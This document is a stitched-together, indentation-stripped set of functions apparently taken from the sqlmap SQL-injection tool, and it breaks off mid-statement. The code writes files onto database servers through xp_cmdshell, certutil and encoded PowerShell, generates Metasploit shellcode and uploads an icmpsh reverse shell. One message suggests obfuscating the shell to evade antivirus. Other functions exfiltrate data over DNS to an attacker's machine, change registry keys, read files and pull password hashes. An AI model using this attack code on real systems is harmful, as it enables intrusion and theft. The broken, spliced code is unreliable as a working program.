psString = "$s = gc '%s';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %%{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('%s',$b)" % (randFilePath, dFile)
psString = psString.encode('utf-16le')
psString = psString.encode("base64")[:-1].replace("\n", "")
logger.debug("uploading the file hex-encoded content to %s, please wait.." % randFilePath)
self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile)
logger.debug("converting the file utilizing PowerShell EncodedCommand")
commands = ( "cd %s" % tmpPath,
"powershell -EncodedCommand %s" % psString,
"del /F /Q %s" % randFilePath )
complComm = " & ".join(command for command in commands)
self.execCmd(complComm)
def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, fileType):
infoMsg = "using certutil.exe to write the %s " % fileType
infoMsg += "file content to file '%s', please wait.." % dFile
logger.info(infoMsg)
chunkMaxSize = 500
randFile = "tmpf%s.txt" % randomStr(lowercase=True)
randFilePath = "%s\%s" % (tmpPath, randFile)
encodedFileContent = base64encode(wFileContent)
splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i+chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)])
logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath)
self.xpCmdshellWriteFile(splittedEncodedFileContent, tmpPath, randFile)
logger.debug("decoding the file to %s.." % dFile)
commands = ("cd \"%s\"" % tmpPath, "certutil -f -decode %s %s" % (randFile, dFile),
"del /F /Q %s" % randFile)
complComm = " & ".join(command for command in commands)
self.execCmd(complComm)
def getDbs(self):
if len(kb.data.cachedDbs) > 0:
return kb.data.cachedDbs
infoMsg = "fetching database names"
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].dbs
randStr = randomStr()
query = rootQuery.inband.query
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
blinds = [False, True]
else:
blinds = [True]
for blind in blinds:
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind)
if retVal:
kb.data.cachedDbs = retVal[0].values()[0]
break
if kb.data.cachedDbs:
kb.data.cachedDbs.sort()
return kb.data.cachedDbs
def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
funcName = randomStr()
max_bytes = 1024 * 1024
debugMsg = "creating JLP procedure '%s'" % funcName
logger.debug(debugMsg)
addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName, max_bytes)
addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL "
addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'"
inject.goStacked(addFuncQuery)
fcEncodedList = self.fileEncode(localFile, "hex", True)
fcEncodedStr = fcEncodedList[0][2:]
fcEncodedStrLen = len(fcEncodedStr)
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
warnMsg = "as the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg += "bytes, this might cause errors in the file "
warnMsg += "writing process"
logger.warn(warnMsg)
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg)
# Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (funcName, remoteFile, fcEncodedStr, max_bytes)
inject.goStacked(invokeQuery)
logger.debug("cleaning up" % funcName)
delQuery = "DELETE PROCEDURE %s" % funcName
inject.goStacked(delQuery)
message = "the local file '%s' has been written on the back-end DBMS" % localFile
message += "file system ('%s')" % remoteFile
logger.info(message)
def createMsfShellcode(self, exitfunc, format, extra, encode):
infoMsg = "creating Metasploit Framework multi-stage shellcode "
logger.info(infoMsg)
self._randStr = randomStr(lowercase=True)
self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr)
Metasploit._initVars(self)
self._prepareIngredients(encode=encode)
self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra)
logger.debug("executing local command: %s" % self._payloadCmd)
process = execute(self._payloadCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=False)
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
pollProcess(process)
payloadStderr = process.communicate()[1]
match = re.search("(Total size:|Length:|succeeded with size) ([\d]+)", payloadStderr)
if match:
payloadSize = int(match.group(2))
if extra == "BufferRegister=EAX":
payloadSize = payloadSize / 2
debugMsg = "the shellcode size is %d bytes" % payloadSize
logger.debug(debugMsg)
else:
errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", " ").replace("\r", "")
raise SqlmapFilePathException(errMsg)
self._shellcodeFP = open(self._shellcodeFilePath, "rb")
self.shellcodeString = self._shellcodeFP.read()
self._shellcodeFP.close()
os.unlink(self._shellcodeFilePath)
def _sysTablesCheck(self):
retVal = None
table = (
("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)", )),
("1.5", ("NULLIF(%d,%d) IS NULL",
"EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)",
"BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d",
"FLOOR(1.%d)>=0")),
(
"2.5", ("'%s' SIMILAR TO '%s'", )
), # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html
(
"3.0", ("FALSE IS FALSE", )
), # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf
)
for i in xrange(len(table)):
version, checks = table[i]
failed = False
check = checks[randomRange(
0,
len(checks) - 1)].replace("%d", getUnicode(randomRange(
1, 100))).replace("%s", getUnicode(randomStr()))
result = inject.checkBooleanExpression(check)
if result:
retVal = version
else:
failed = True
break
if failed:
break
return retVal
def __getDatabaseDir(self):
retVal = None
infoMsg = "searching for database directory"
logger.info(infoMsg)
randInt = randomInt()
randStr = randomStr()
_ = inject.checkBooleanExpression(
"EXISTS(SELECT * FROM %s.%s WHERE %d=%d)" %
(randStr, randStr, randInt, randInt))
if wasLastRequestDBMSError():
threadData = getCurrentThreadData()
match = re.search("Could not find file\s+'([^']+?)'",
threadData.lastErrorPage[1])
if match:
retVal = match.group(1).rstrip("%s.mdb" % randStr)
if retVal.endswith('\\'):
retVal = retVal[:-1]
return retVal
def uploadIcmpshSlave(self, web=False):
ICMPsh._initVars(self)
self._randStr = randomStr(lowercase=True)
self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr
self._icmpslaveRemote = "%s/%s" % (conf.tmpPath,
self._icmpslaveRemoteBase)
self._icmpslaveRemote = ntToPosixSlashes(
normalizePath(self._icmpslaveRemote))
logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote)
if web:
written = self.webUpload(self._icmpslaveRemote,
os.path.split(self._icmpslaveRemote)[0],
filepath=self._icmpslave)
else:
written = self.writeFile(self._icmpslave,
self._icmpslaveRemote,
"binary",
forceCheck=True)
if written is not True:
errMsg = "there has been a problem uploading icmpsh, it "
errMsg += "looks like the binary file has not been written "
errMsg += "on the database underlying file system or an AV has "
errMsg += "flagged it as malicious and removed it. In such a case "
errMsg += "it is recommended to recompile icmpsh with slight "
errMsg += "modification to the source code or pack it with an "
errMsg += "obfuscator software"
logger.error(errMsg)
return False
else:
logger.info("icmpsh successfully uploaded")
return True
def _initVars(self,
regKey,
regValue,
regType=None,
regData=None,
parse=False):
self._regKey = regKey
self._regValue = regValue
self._regType = regType
self._regData = regData
self._randStr = randomStr(lowercase=True)
self._batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self._randStr)
self._batPathLocal = os.path.join(conf.outputPath,
"tmpr%s.bat" % self._randStr)
if parse:
readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
else:
readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\""
self._batRead = (
"@ECHO OFF\r\n",
readParse,
)
self._batAdd = (
"@ECHO OFF\r\n",
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" %
(self._regKey, self._regValue, self._regType, self._regData),
)
self._batDel = (
"@ECHO OFF\r\n",
"REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
)
def dnsUse(payload, expression):
"""
Retrieve the output of a SQL query taking advantage of the DNS
resolution mechanism by making request back to attacker's machine.
"""
start = time.time()
retVal = None
count = 0
offset = 1
if conf.dnsName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
output = hashDBRetrieve(expression, checkConf=True)
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
output = None
if output is None:
kb.dnsMode = True
while True:
count += 1
prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2))
chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
nulledCastedField = agent.hexConvertField(nulledCastedField)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsName)
expressionUnescaped = unescaper.escape(expressionRequest)
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
query = agent.prefixQuery("; %s" % expressionUnescaped)
query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query)
forgedPayload = agent.payload(newValue=query)
else:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False)
_ = conf.dnsServer.pop(prefix, suffix)
if _:
_ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
_ = decodeHexValue(_)
output = (output or "") + _
offset += len(_)
if len(_) < chunk_length:
break
else:
break
output = decodeHexValue(output) if conf.hexConvert else output
kb.dnsMode = False
if output is not None:
retVal = output
if kb.dnsTest is not None:
dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
if count > 0:
hashDBWrite(expression, output)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
elif conf.dnsName:
warnMsg = "DNS data exfiltration method through SQL injection "
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg)
return safecharencode(retVal) if kb.safeCharEncode else retVal
def _stackedWriteFileVbs(self, tmpPath, localFileContent, remoteFile,
fileType):
infoMsg = "using a custom visual basic script to write the "
infoMsg += "%s file content to file '%s', please wait.." % (fileType,
remoteFile)
logger.info(infoMsg)
randVbs = "tmps%s.vbs" % randomStr(lowercase=True)
randFile = "tmpf%s.txt" % randomStr(lowercase=True)
randFilePath = "%s\\%s" % (tmpPath, randFile)
vbs = """Dim inputFilePath, outputFilePath
inputFilePath = "%s"
outputFilePath = "%s"
Set fs = CreateObject("Scripting.FileSystemObject")
Set file = fs.GetFile(inputFilePath)
If file.Size Then
Wscript.Echo "Loading from: " & inputFilePath
Wscript.Echo
Set fd = fs.OpenTextFile(inputFilePath, 1)
data = fd.ReadAll
fd.Close
data = Replace(data, " ", "")
data = Replace(data, vbCr, "")
data = Replace(data, vbLf, "")
Wscript.Echo "Fixed Input: "
Wscript.Echo data
Wscript.Echo
decodedData = base64_decode(data)
Wscript.Echo "Output: "
Wscript.Echo decodedData
Wscript.Echo
Wscript.Echo "Writing output in: " & outputFilePath
Wscript.Echo
Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile(outputFilePath, 2, True)
ofs.Write decodedData
ofs.close
Else
Wscript.Echo "The file is empty."
End If
Function base64_decode(byVal strIn)
Dim w1, w2, w3, w4, n, strOut
For n = 1 To Len(strIn) Step 4
w1 = mimedecode(Mid(strIn, n, 1))
w2 = mimedecode(Mid(strIn, n + 1, 1))
w3 = mimedecode(Mid(strIn, n + 2, 1))
w4 = mimedecode(Mid(strIn, n + 3, 1))
If Not w2 Then _
strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255))
If Not w3 Then _
strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255))
If Not w4 Then _
strOut = strOut + Chr(((w3 * 64 + w4) And 255))
Next
base64_decode = strOut
End Function
Function mimedecode(byVal strIn)
Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
If Len(strIn) = 0 Then
mimedecode = -1 : Exit Function
Else
mimedecode = InStr(Base64Chars, strIn) - 1
End If
End Function""" % (randFilePath, remoteFile)
vbs = vbs.replace(" ", "")
encodedFileContent = encodeBase64(localFileContent, binary=False)
logger.debug(
"uploading the file base64-encoded content to %s, please wait.." %
randFilePath)
self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile)
logger.debug(
"uploading a visual basic decoder stub %s\\%s, please wait.." %
(tmpPath, randVbs))
self.xpCmdshellWriteFile(vbs, tmpPath, randVbs)
commands = ("cd \"%s\"" % tmpPath, "cscript //nologo %s" % randVbs,
"del /F /Q %s" % randVbs, "del /F /Q %s" % randFile)
self.execCmd(" & ".join(command for command in commands))
def stackedReadFile(self, remoteFile):
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg)
result = []
txtTbl = self.fileTblName
hexTbl = "%s%shex" % (self.fileTblName, randomStr())
self.createSupportTbl(txtTbl, self.tblField, "text")
inject.goStacked("DROP TABLE %s" % hexTbl)
inject.goStacked(
"CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" %
(hexTbl, self.tblField, "VARCHAR(4096)"))
logger.debug("loading the content of file '%s' into support table" %
remoteFile)
inject.goStacked(
"BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')"
% (txtTbl, remoteFile, randomStr(10), randomStr(10)),
silent=True)
# Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829
binToHexQuery = """DECLARE @charset VARCHAR(16)
DECLARE @counter INT
DECLARE @hexstr VARCHAR(4096)
DECLARE @length INT
DECLARE @chunk INT
SET @charset = '0123456789ABCDEF'
SET @counter = 1
SET @hexstr = ''
SET @length = (SELECT DATALENGTH(%s) FROM %s)
SET @chunk = 1024
WHILE (@counter <= @length)
BEGIN
DECLARE @tempint INT
DECLARE @firstint INT
DECLARE @secondint INT
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
SET @firstint = floor(@tempint/16)
SET @secondint = @tempint - (@firstint * 16)
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)
SET @counter = @counter + 1
IF @counter %% @chunk = 0
BEGIN
INSERT INTO %s(%s) VALUES(@hexstr)
SET @hexstr = ''
END
END
IF @counter %% (@chunk) != 0
BEGIN
INSERT INTO %s(%s) VALUES(@hexstr)
END
""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl,
self.tblField, hexTbl, self.tblField)
binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ")
inject.goStacked(binToHexQuery)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" %
(self.tblField, hexTbl),
resumeValue=False,
blind=False,
time=False,
error=False)
if not result:
result = []
count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl),
resumeValue=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % remoteFile
raise SqlmapNoneDataException(errMsg)
indexRange = getLimitRange(count)
for index in indexRange:
chunk = inject.getValue(
"SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC"
% (self.tblField, hexTbl, self.tblField, index,
self.tblField, hexTbl),
unpack=False,
resumeValue=False,
charsetType=CHARSET_TYPE.HEXADECIMAL)
result.append(chunk)
inject.goStacked("DROP TABLE %s" % hexTbl)
return result
def _goInference(payload,
expression,
charsetType=None,
firstChar=None,
lastChar=None,
dump=False,
field=None):
start = time.time()
value = None
count = 0
value = _goDns(payload, expression)
if payload is None:
return None
if value is not None:
return value
timeBasedCompare = (getTechnique()
in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
if timeBasedCompare and conf.threads > 1 and kb.forceThreads is None:
msg = "multi-threading is considered unsafe in "
msg += "time-based data retrieval. Are you sure "
msg += "of your choice (breaking warranty) [y/N] "
kb.forceThreads = readInput(msg, default='N', boolean=True)
if not (timeBasedCompare and kb.dnsTest):
if (conf.eta or conf.threads > 1
) and Backend.getIdentifiedDbms() and not re.search(
r"(COUNT|LTRIM)\(", expression,
re.I) and not (timeBasedCompare and not kb.forceThreads):
if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM",
expression, re.I):
expression = "SELECT %s FROM (%s)" % (field, expression)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
expression += " AS %s" % randomStr(lowercase=True,
seed=hash(expression))
if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields:
nulledCastedField = agent.nullAndCastField(field)
injExpression = expression.replace(field, nulledCastedField, 1)
else:
injExpression = expression
length = queryOutputLength(injExpression, payload)
else:
length = None
kb.inferenceMode = True
count, value = bisection(payload, expression, length, charsetType,
firstChar, lastChar, dump)
kb.inferenceMode = False
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (
count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
return value
def checkCharEncoding(encoding, warn=True):
"""
Checks encoding name, repairs common misspellings and adjusts to
proper namings used in codecs module
>>> checkCharEncoding('iso-8858', False)
'iso8859-1'
>>> checkCharEncoding('en_us', False)
'utf8'
"""
if isListLike(encoding):
encoding = unArrayizeValue(encoding)
if encoding:
encoding = encoding.lower()
else:
return encoding
# Reference: http://www.destructor.de/charsets/index.htm
translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"}
for delimiter in (';', ',', '('):
if delimiter in encoding:
encoding = encoding[:encoding.find(delimiter)].strip()
encoding = encoding.replace(""", "")
# popular typos/errors
if "8858" in encoding:
encoding = encoding.replace("8858", "8859") # iso-8858 -> iso-8859
elif "8559" in encoding:
encoding = encoding.replace("8559", "8859") # iso-8559 -> iso-8859
elif "8895" in encoding:
encoding = encoding.replace("8895", "8859") # iso-8895 -> iso-8859
elif "5889" in encoding:
encoding = encoding.replace("5889", "8859") # iso-5889 -> iso-8859
elif "5589" in encoding:
encoding = encoding.replace("5589", "8859") # iso-5589 -> iso-8859
elif "2313" in encoding:
encoding = encoding.replace("2313", "2312") # gb2313 -> gb2312
elif encoding.startswith("x-"):
encoding = encoding[len("x-"):] # x-euc-kr -> euc-kr / x-mac-turkish -> mac-turkish
elif "windows-cp" in encoding:
encoding = encoding.replace("windows-cp", "windows") # windows-cp-1254 -> windows-1254
# name adjustment for compatibility
if encoding.startswith("8859"):
encoding = "iso-%s" % encoding
elif encoding.startswith("cp-"):
encoding = "cp%s" % encoding[3:]
elif encoding.startswith("euc-"):
encoding = "euc_%s" % encoding[4:]
elif encoding.startswith("windows") and not encoding.startswith("windows-"):
encoding = "windows-%s" % encoding[7:]
elif encoding.find("iso-88") > 0:
encoding = encoding[encoding.find("iso-88"):]
elif encoding.startswith("is0-"):
encoding = "iso%s" % encoding[4:]
elif encoding.find("ascii") > 0:
encoding = "ascii"
elif encoding.find("utf8") > 0:
encoding = "utf8"
elif encoding.find("utf-8") > 0:
encoding = "utf-8"
# Reference: http://philip.html5.org/data/charsets-2.html
if encoding in translate:
encoding = translate[encoding]
elif encoding in ("null", "{charset}", "charset", "*") or not re.search(r"\w", encoding):
return None
# Reference: http://www.iana.org/assignments/character-sets
# Reference: http://docs.python.org/library/codecs.html
try:
codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding)
except (LookupError, ValueError):
encoding = None
if encoding:
try:
unicode(randomStr(), encoding)
except:
if warn:
warnMsg = "invalid web page charset '%s'" % encoding
singleTimeLogMessage(warnMsg, logging.WARN, encoding)
encoding = None
return encoding
def tableExists(tableFile, regex=None):
if kb.tableExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
warnMsg += "for common table existence check"
logger.warn(warnMsg)
message = "are you sure you want to continue? [y/N] "
kb.tableExistsChoice = readInput(message, default='N', boolean=True)
if not kb.tableExistsChoice:
return None
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr())))
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
if result:
errMsg = "can't use table existence check because of detected invalid results "
errMsg += "(most likely caused by inability of the used injection "
errMsg += "to distinguish erroneous results)"
raise SqlmapDataException(errMsg)
message = "which common tables (wordlist) file do you want to use?\n"
message += "[1] default '%s' (press Enter)\n" % tableFile
message += "[2] custom"
choice = readInput(message, default='1')
if choice == '2':
message = "what's the custom common tables file location?\n"
tableFile = readInput(message) or tableFile
infoMsg = "checking table existence using items from '%s'" % tableFile
logger.info(infoMsg)
tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True)
tables.extend(_addPageTextWords())
tables = filterListValue(tables, regex)
threadData = getCurrentThreadData()
threadData.shared.count = 0
threadData.shared.limit = len(tables)
threadData.shared.value = []
threadData.shared.unique = set()
def tableExistsThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.count.acquire()
if threadData.shared.count < threadData.shared.limit:
table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
threadData.shared.count += 1
kb.locks.count.release()
else:
kb.locks.count.release()
break
if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
fullTableName = "%s.%s" % (conf.db, table)
else:
fullTableName = table
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))
kb.locks.io.acquire()
if result and table.lower() not in threadData.shared.unique:
threadData.shared.value.append(table)
threadData.shared.unique.add(table.lower())
if conf.verbose in (1, 2) and not conf.api:
clearConsoleLine(True)
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table))
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2):
status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
kb.locks.io.release()
try:
runThreads(conf.threads, tableExistsThread, threadChoice=True)
except KeyboardInterrupt:
warnMsg = "user aborted during table existence "
warnMsg += "check. sqlmap will display partial output"
logger.warn(warnMsg)
clearConsoleLine(True)
dataToStdout("\n")
if not threadData.shared.value:
warnMsg = "no table(s) found"
logger.warn(warnMsg)
else:
for item in threadData.shared.value:
if conf.db not in kb.data.cachedTables:
kb.data.cachedTables[conf.db] = [item]
else:
kb.data.cachedTables[conf.db].append(item)
for _ in ((conf.db, item) for item in threadData.shared.value):
if _ not in kb.brute.tables:
kb.brute.tables.append(_)
hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)
return kb.data.cachedTables
def getColumns(self,
onlyColNames=False,
colTuple=None,
bruteForce=None,
dumpMode=False):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter. sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) columns"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
elif conf.db is not None:
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg)
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
colList = conf.col.split(',')
else:
colList = []
if conf.excludeCol:
colList = [
_ for _ in colList if _ not in conf.excludeCol.split(',')
]
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
if conf.tbl:
tblList = conf.tbl.split(',')
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
else:
errMsg = "unable to retrieve the tables "
errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
raise SqlmapNoneDataException(errMsg)
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
if bruteForce:
resumeAvailable = False
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
resumeAvailable = True
break
if resumeAvailable and not conf.freshQueries or colList:
columns = {}
for column in colList:
columns[column] = None
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
columns[colName] = colType
if conf.db in kb.data.cachedColumns:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)][safeSQLIdentificatorNaming(
tbl, True)] = columns
else:
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = {
safeSQLIdentificatorNaming(tbl, True): columns
}
return kb.data.cachedColumns
message = "do you want to use common column existence check? [y/N/q] "
choice = readInput(message,
default='Y' if 'Y' in message else 'N').upper()
if choice == 'N':
return
elif choice == 'Q':
raise SqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
rootQuery = queries[DBMS.MAXDB].columns
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
return {conf.db: kb.data.cachedColumns[conf.db]}
if dumpMode and colList:
table = {}
table[safeSQLIdentificatorNaming(tbl)] = dict(
(_, None) for _ in colList)
kb.data.cachedColumns[safeSQLIdentificatorNaming(
conf.db)] = table
continue
infoMsg = "fetching columns "
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(
conf.db)
logger.info(infoMsg)
randStr = randomStr()
query = rootQuery.inband.query % (
unsafeSQLIdentificatorNaming(tbl),
("'%s'" % unsafeSQLIdentificatorNaming(conf.db))
if unsafeSQLIdentificatorNaming(conf.db) != "USER" else 'USER')
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), [
'%s.columnname' % randStr,
'%s.datatype' % randStr,
'%s.len' % randStr
],
blind=True)
if retVal:
table = {}
columns = {}
for columnname, datatype, length in zip(
retVal[0]["%s.columnname" % randStr],
retVal[0]["%s.datatype" % randStr],
retVal[0]["%s.len" % randStr]):
columns[safeSQLIdentificatorNaming(
columnname)] = "%s(%s)" % (datatype, length)
table[tbl] = columns
kb.data.cachedColumns[conf.db] = table
return kb.data.cachedColumns
def getPasswordHashes(self):
infoMsg = "fetching database users password hashes"
rootQuery = queries[Backend.getIdentifiedDbms()].passwords
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE,
DBMS.DB2):
conf.user = conf.user.upper()
if conf.user:
users = conf.user.split(",")
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
else:
users = []
users = filter(None, users)
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION,
PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
